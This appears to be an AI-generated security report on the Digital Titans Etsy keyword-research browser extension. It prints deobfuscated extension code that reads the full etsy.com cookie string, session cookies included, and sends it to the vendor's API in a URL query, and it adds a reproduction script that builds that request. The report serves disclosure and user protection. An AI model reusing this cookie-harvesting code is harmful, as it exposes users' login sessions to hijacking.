Is Digital Titans: Easy Keyword Research safe?

Medium risk

Digital Titans sends your Etsy session cookies to its own server every time you search a keyword.

When you type a keyword search on Etsy, the extension reads your full etsy.com cookie string, including your session and login cookies, and sends it to its own backend at api.digitaltitans.com. This happens automatically on every search of three or more characters. The cookies are sent as part of the request URL, so they can also end up recorded in the vendor's server access logs.

titansdotappv1.0.8Chrome Web Store
45Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-522
SourceAI FOUND

Etsy keyword tool sends your Etsy cookies to a third-party API

Code analysis shows the extension reads document.cookie on etsy.com and sends the full cookie string, including session cookies, to api.digitaltitans.com as a URL query parameter whenever you use its keyword search box.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You type a search keyword into the extension's Etsy keyword-research panel on an etsy.com page.

The extension did this

The extension reads your full etsy.com cookie string and sends it to api.digitaltitans.com as part of the search request.

The cookie value travels as a plain URL query parameter, not inside an encrypted body.

02EvidenceFIELD TABLE
What the request sends
FieldValueWhy it matters
Search keyword
handmade necklaceThe term you typed into the keyword-research box.
Page host
www.etsy.comThe etsy.com page you were viewing when you searched.
Browser language
en-USYour browser's language setting.
Etsy cookies
_etsy_sid=1a2b3c4d5e6f7g8h9i; uaid=9f8e7d6c5b4a3d2e; ua=ab12cd34ef56Your full etsy.com cookie string, session cookies included, sent as a plain URL parameter.
03EvidenceCODE COMPARE
The code that does this

handleSearch() builds the cookie payload and hands it to the request builder

What it actually does
Deobfuscated: handleSearch()content-scripts/etsysearch.js
async function P() {
  if (!n || n === "" || n.length < 3 || n.length > 100 || f || !x) return;
  p(!0);
  const S = {
    keyword: n,
    hostname: IH(window.location.href),
    language: window.navigator.language,
    cookies: document.cookie
  };
  const F = lK(x, S),
    k = await P4("handleApiRequests", F);
  if (k.data.token !== "") {
    let B = k.data.token;
    if (!B) { p(!1); o(""); v("Error: Unable to get token"); return }
    N(B)
  }
}
Deobfuscated: request builder lK()content-scripts/etsysearch.js
const W_ = "https://api.digitaltitans.com";

lK = (e, t) => {
  const r = new URL(`${W_}/api/etsy/keywords`);
  return Object.keys(t).forEach(n => r.searchParams.append(n, t[n])), {
    headers: {
      "Content-Type": "application/json",
      Authorization: `Bearer ${e}`
    },
    url: r.toString(),
    method: "GET"
  }
}
Deobfuscated: background fetch bridge sc()background.js
async function sc({ payload: e }) {
  const { method: t, url: r, headers: n, body: s } = e;
  try {
    const i = {
      method: t,
      headers: n,
      ...s ? { body: JSON.stringify(s) } : {}
    };
    const o = await nc(r, i, 12e4);
    if (!o.ok) throw new Error(`HTTP error! status: ${o.status}`);
    try { return await o.json() }
    catch { return await o.text() }
  } catch (i) {
    throw console.error("API Request failed:", i), i
  }
}
// nc() is a fetch() wrapper with a 120s timeout; the background service
// worker performs the actual network request here.
04EvidenceTHIRD PARTY LIST
Where the cookie string ends up
  • api.digitaltitans.com

    Vendor's own keyword-research backend. Receives the GET request with your etsy.com cookies in the query string and an Authorization bearer token.

05EvidenceARTIFACT
Reproduce it yourself

Rebuilds the request the extension's content script constructs from a page URL, keyword, and cookie string, so you can see your own cookie value take shape in a URL without installing the extension.

RequiresNode.js 18+
etsy-titans-reproduce.js · js
// etsy-titans-reproduce.js
// Rebuilds the request the way content-scripts/etsysearch.js does, so you
// can see exactly how your etsy.com cookie string becomes a GET query
// parameter without installing the extension.

const API_BASE = "https://api.digitaltitans.com";

function buildRequest(keyword, pageUrl, cookieString, language) {
  const hostname = new URL(pageUrl).hostname.replace(/^www\./, "");
  const payload = { keyword, hostname, language, cookies: cookieString };
  const url = new URL(`${API_BASE}/api/etsy/keywords`);
  for (const [key, value] of Object.entries(payload)) {
    url.searchParams.append(key, value);
  }
  return { method: "GET", url: url.toString() };
}

// Paste your own document.cookie value from an etsy.com tab to see your
// own request take shape (illustrative value shown here).
const sampleCookie =
  "_etsy_sid=1a2b3c4d5e6f7g8h9i; uaid=9f8e7d6c5b4a3d2e; ua=ab12cd34ef56";

const request = buildRequest(
  "handmade necklace",
  "https://www.etsy.com/",
  sampleCookie,
  "en-US"
);

console.log(JSON.stringify(request, null, 2));
How to run it
  1. 1
    node etsy-titans-reproduce.js
06EvidencePLAIN NOTE
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Data recipients

api.digitaltitans.com
Updated 20 September 2026icckmkkmfgmcahahkfbmoncbinodoolg